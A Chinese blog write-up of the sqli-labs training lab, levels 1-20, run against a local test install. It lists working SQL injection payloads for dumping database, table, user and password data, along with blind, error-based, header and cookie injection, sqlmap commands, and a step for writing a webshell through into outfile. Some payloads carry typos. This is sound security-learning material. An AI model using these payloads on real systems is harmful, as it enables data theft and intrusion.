[渗透笔记][sql注入] sqli-lab 1-20(Basic Challenges)

题解思路参考自其他博客
https://blog.csdn.net/sdb5858874/article/details/80727555
https://blog.csdn.net/qq_41420747/article/details/81836327

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1没有问题。
加一个单引号:http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27,,报错。
在这里插入图片描述
根据报错内容可以确定id的值应该是被单引号包围的,并且猜想sql语句为select * from ... where id= ' 1' .....

输入?id=-1' order by 3 --+没有错误,输入?id=-1' order by 4 --+报错,说明表中字段有3列。
(要输入一个不存在的id值,这样显示后续的信息比较方便吧)

输入?id=-1' union select 1,2,3 --+显示了2和3,说明只会显示两个位
接下来开始爆库、爆表、爆字段
?id=-1' union select 1,2,database() --+
[渗透笔记][sql注入] sqli-lab 1-20(Basic Challenges)_第1张图片
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
在这里插入图片描述
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在这里插入图片描述

?id=-1' union select 1,2,group_concat(username) from security.users --+
?id=-1' union select 1,2,group_concat(password) from security.users --+
分别爆出用户名和密码


注意
这里如果在地址栏输入#结尾,在sql语句中发现没有#,.
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端没有作用。所以,HTTP请求中不包括#
#号改成url的编码%23就可以了.
如果输入--(有空格),但是到了sql语句有会没有空格,原因是地址栏最后的空格会被无视。
综上:注释后面的语句应该使用--+(这里的加号会被转成空格)

—————————————————————————————————————
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1没有问题。
加一个单引号:http://127.0.0.1/sqli-labs-master/Less-1/?id=1',,报错。
加注释?id=1' --+依旧报错
输入?id=2-1?id=1效果一样,说明是数值型注入。

数值型注入的php语句是$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";就是把变量不加单引号放进sql语句里。

所以构造的payload就是在字符型的基础上把单引号去掉就可以了

—————————————————————————————————————
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1没有问题。
加一个单引号:http://127.0.0.1/sqli-labs-master/Less-3/?id=1',,报错。
加注释?id=1' --+依旧报错。
加一个括号?id=1') --+又正常了,说明sql语句是(' ')类型。
剩下部分和less-1相同。

看下php代码$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";验证了上述猜测的格式

—————————————————————————————————————
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1没有问题。
加一个单引号:http://127.0.0.1/sqli-labs-master/Less-4/?id=1'没有问题。
加一个双引号:http://127.0.0.1/sqli-labs-master/Less-4/?id=1 ",报错了。
猜测存在双引号闭合。
加上注释http://127.0.0.1/sqli-labs-master/Less-4/?id=1" --+依旧报错,
再加上一个括号?id=1") --+, ok了,返回正常界面。
payload构造方法同上。

—————————————————————————————————————
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1
在这里插入图片描述

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
在这里插入图片描述
输入?id=1' --+显示正常
输入?id=1' union select 1,2,3 --+显示结果和?id=1相同,说明不存在页面没有显示位,无法使用联合查询注入。

这里使用布尔盲注
通常布尔盲注是应用在如果有错误不回显,而正确的话会回显,这里可以通过页面的显示结果进行布尔盲注。

首先爆库
首先判断库名长度?id=1' and length(database())=8 --+八个字母
?id=1' and left((select database()),1)='s'--+或者?id=1' and left(database(), 1)='s' --+来判断出库名,(就是从a到z进行遍历每一个字母)
?id=1' and left(database(), 2)='se' --+依次判断库名的每一个字母。

爆表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='u' --+
通过修改limit 后面的值和left的参数,来找每一位的字符,最后找到表users。

爆字段(都一个道理了)
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

爆用户名和密码(注意最好是按照id排序,这样用户名和密码可以对应起来)
?id=1' and left((select username from users order by id limit 0, 1), 1)='s' --+

—————————————————————————————————————
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

与Less-5类似,只需要把单引号闭合改为双引号闭合即可,其余操作相同。


这里采用另一种报错注入方式
基于floor报错的报错注入。floor()报错注入准确地说应该是floor,count,group by冲突报错。双注入报错查询,原理是count函数遇到group by会报错,将查询的一部分结果以报错的形式返回。
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句

需要注意的是该语句将 输出字符长度限制为64个字符
sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。

解释:
floor(rand(0)*2)看了一篇博客没看明白,反正就这么用吧。
concat((payload), floor(rand(0)*2))x的x就是把查询的结果起一个别名,最后的a也是这个道理

输入?id=1" and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以只能使用limit来限制。

为了使以报错形式显示的信息和错误信息不混在一起,在concat中加一个区分的符号。
?id=1" and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

?id=1" and (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where talble_schema='information_schema' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

?id=1" and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='ALL_PLUGINS' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
下面省略


补充
双查询注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select。

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回。

构造方法

?id=1 "and (select 1 from ()a) --+
?id=1 "and (select 1 from (select count(*), concat()x from information_schema.tables group by x)a) --+
?id=1 "and (select 1 from (select count(*), concat((select group_concat(schema_name) from information_schema.schemata), floor(rand(0)*2))x from information_schema.tables group by x)a) --+

—————————————————————————————————————
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

http://127.0.0.1/sqli-labs-master/Less-7/?id=1正常
http://127.0.0.1/sqli-labs-master/Less-7/?id=1 and 1=2正常,不存在数值型注入
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27语法错误,字符型注入
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27)) --+恢复正常,成功闭合

题目提示导出文件,into outfile命令。
要使用这个命令必须要有file权限,我一开始就不知道这个,多次写入失败,无语。
mysql中输入show variables like '%secure%';secure_file_priv的值,如果为NULL,则需要修改my.ini,将这个键附上一个自己喜欢的路径就可以了。然后导出文件的话就要导出到这个目录里。

先使用?id=1')) union select 1,2,3 into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\test.php"--+看下是否能够成功写入。
在这里插入图片描述
虽然报错,但是可以写入。

然后就把1,2,3中的任意一个换成php一句话木马
变成?id=1')) union select 1,2, "" into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs-master\\test.php"--+

然后用菜刀链接,我这里菜刀链接一直显示正在载入路径,不知道为啥。。。

—————————————————————————————————————
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

http://127.0.0.1/sqli-labs-master/Less-8/?id=1
在这里插入图片描述
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
[渗透笔记][sql注入] sqli-lab 1-20(Basic Challenges)_第2张图片
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' --+
在这里插入图片描述
分析:如果有错误,不回显,如果没有错误,回显:You are in…
使用布尔盲注或者时间盲注
布尔盲注上面有提到过,
payload构造形式
?id=1' and length(database())=8 --+
?id=1' and left(database(),8)='security' --+

时间盲注使用了if条件表达式
payload构造形式
?id=1' and if(length(database())=8, sleep(3), 1) --+


这里使用sqlmap跑一下

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --dbs --technique B --batch
可以爆出库名,但是往下就不成功了,不知道为啥,有大佬知道,麻烦告知一下。

–technique是为sqlmap中的注入技术,在sqlmap中其支持5中不同模式的注入

B:Boolean-based-blind (布尔型型注入)

E:Error-based (报错型注入)

U:Union query-based (联合注入)

S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)

T:Time-based blind (基于时间延迟注入)

—————————————————————————————————————
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

http://127.0.0.1/sqli-labs-master/Less-9/?id=1
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'
http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and 1=2
http://127.0.0.1/sqli-labs-master/Less-9/?id=1"
等等一系列方式,都是下面的反应
在这里插入图片描述
?id=1' and sleep(3) --+出现延迟。这里可能会问道:哪里有延迟啊,界面都没动过。
我一开始也是懵了半天,后来发现如果延迟的话,页面左上角会一直刷新,知道3秒后停止。
好了,判断存在时间盲注了,和布尔盲注差不多,上面也介绍过时间盲注,这里不再赘述了,(其实是自己不想做了)


这里附上sqlmap的命令,不得不说时间盲注太费时间了。
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-9/?id=1 --dbs --technique T --batch

—————————————————————————————————————
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

和第九题类似,只不过把单引号闭合改成了双引号闭合。
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5) --+

sqlmap命令同第九题

—————————————————————————————————————
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

输入									结果
1										正常
1'										报语法错误
1' #									正常
1' or 1=1 #								登录成功

可以使用联合注入方式,注意联合查询最好把id设置成不存在的值
-1' union select 1,database() #
上面已经介绍过了,这里不重复了吧。


这里用一种新的注入方式,是报错注入中的一种方法,基于 extractvalue() 函数
因为它可以把查询到的信息以报错的方式回显到页面。

extractvalue() 是一个对XML文档进行查询的函数, 功能是从目标XML中返回包含所查询值的字符串。

用法extractvalue(目标xml文档,xml路径)注意xml路径必须是Xpath格式的字符串。

extractvalue注入的原理:extractvalue的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

payload构造:and extractvalue(null,concat(0x7e,(select @@datadir),0x7e)); (0x7e 就是~的ascii码值)、null也有人用1


爆库
1' and extractvalue(null, concat(0x7e, database(), 0x7e))#
爆表
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e)) #
爆字段
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e)) #
在这里插入图片描述
只会显示这些内容,没有需要的字段名。
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
1' and extractvalue(1,concat(0x7e,substring(hex((select group_concat(column_name) from information_schema.columns where table_name='users')), 1,32), 0x7e)) #
修改substring参数可以实现查找全部信息。

—————————————————————————————————————
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

可以用基于extractvalue报错注入
爆库 1") and extractvalue(null, concat(0x7e, database(), 0x7e)) #
下面方法同less-11


这里学习另一种报错注入,基于updatexml函数的报错注入

updatexml(XML_document, XPath_string, new_value); 这个也是mysql里的修改函数
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml的爆错原因是第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。
updatexml的最大长度是32位的,超过32位可以用substr打出来。

payload构造
and updatexml(1,concat(null,(database()),null),1);


这道题从爆库开始
1") and updatexml(1,concat(0x7e,database(),0x7e),1) #
下面不想做了,和上面差不多,感觉自己太菜了,心累。

—————————————————————————————————————
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

尝试后判断是')闭合,登录没有回显,联合查询没有回显,不能使用联合查询注入。

可以使用基于extractvalue报错注入方式,payload构造
1') and extractvalue(1, concat(0x7e, database(),0x7e)) #

也可以使用updatexml报错注入方式,payload构造
1') and updatexml(1,concat(0x7e, database(),0x7e),1) #

也可以使用时间盲注, payload构造
1') and if(length(database())=8, sleep(3), 1) #
方法上面都已经有了,不详细做了。

sqlmap跑一下报错注入,命令sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-13/?uname=admin --dbs --technique E --batch
失败了,不知道原因的失败了。。。。有大佬知道怎么回事的麻烦告知一下。

—————————————————————————————————————
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

双引号闭合,其他和less-13一样,payload构造
1" and extractvalue(1, concat(0x7e,database(),0x7e)) #
1" and extractvalue(1, concat(0x7e,select group_concat(table_name) from information_schema.tables where table_schema=database(),0x7e)) #
1" and extractvalue(1, concat(0x7e,substr(hex(select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 32),0x7e)) #

—————————————————————————————————————
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

布尔盲注
1' or length(database())=8 #
1' or (ascii(substr(database(),1,1)) = 115)#
1' or (database()='security') #
1' or (substr(select group(table_name) from infromation_schema.tables where table_schema='security', 1, 1)='x') #

时间盲注
admin' and sleep(3) #' and sleep(3) --+出现延迟。
接着用if表达式就可以了。
不知道这为啥必须是admin才会产生延迟,如果写个1就不可以。

—————————————————————————————————————
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

和less-15类似,单引号改为上引号即可。

—————————————————————————————————————
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

用户名必须是admin(不知道为啥),然后在password一栏构造基于updatexml报错的报错注入,payload

1' and updatexml(1,concat(0x7e,(database()),0x7e),1) #
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #

—————————————————————————————————————
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

在这里插入图片描述
这次用户名和密码都被过滤了,所以从页面上的输入框是不能注入了。
在这里插入图片描述
但是可以从user-agent利用报错注入。
payload和上面的差不多,我这里访问的本地网址,burp抓不到包(不知道是不是这个原因),所以就不做了。

看到后面也有几道题涉及到抓包,所以百度了一下,说是通过ipconfig找到本机的ip地址,然后访问这个ip下的slqi实验目录就可以用burp进行抓包了,试了一下成功了。

—————————————————————————————————————
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

同18题差不多,只不过注入点从user-agent换成了referer
在这里插入图片描述
在这里插入图片描述
[渗透笔记][sql注入] sqli-lab 1-20(Basic Challenges)_第3张图片
一开始用户名和密码随便输入的,然后就去改referer,但是没反应。
后来看了一下.php文件,发现只有在登录成功的时候才会执行变量insert的语句。
所以就从数据库里面找了一对先登录,再去改referer。(不知道别人怎么知道用户名和口令的)

—————————————————————————————————————
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

登录一下,用burp抓包,发现有cookie信息,在看php代码,insert语句也是用的cookie,那就把payload放在cookie上面就好了。
在这里插入图片描述
方法一样,不做了。

你可能感兴趣的:(渗透笔记)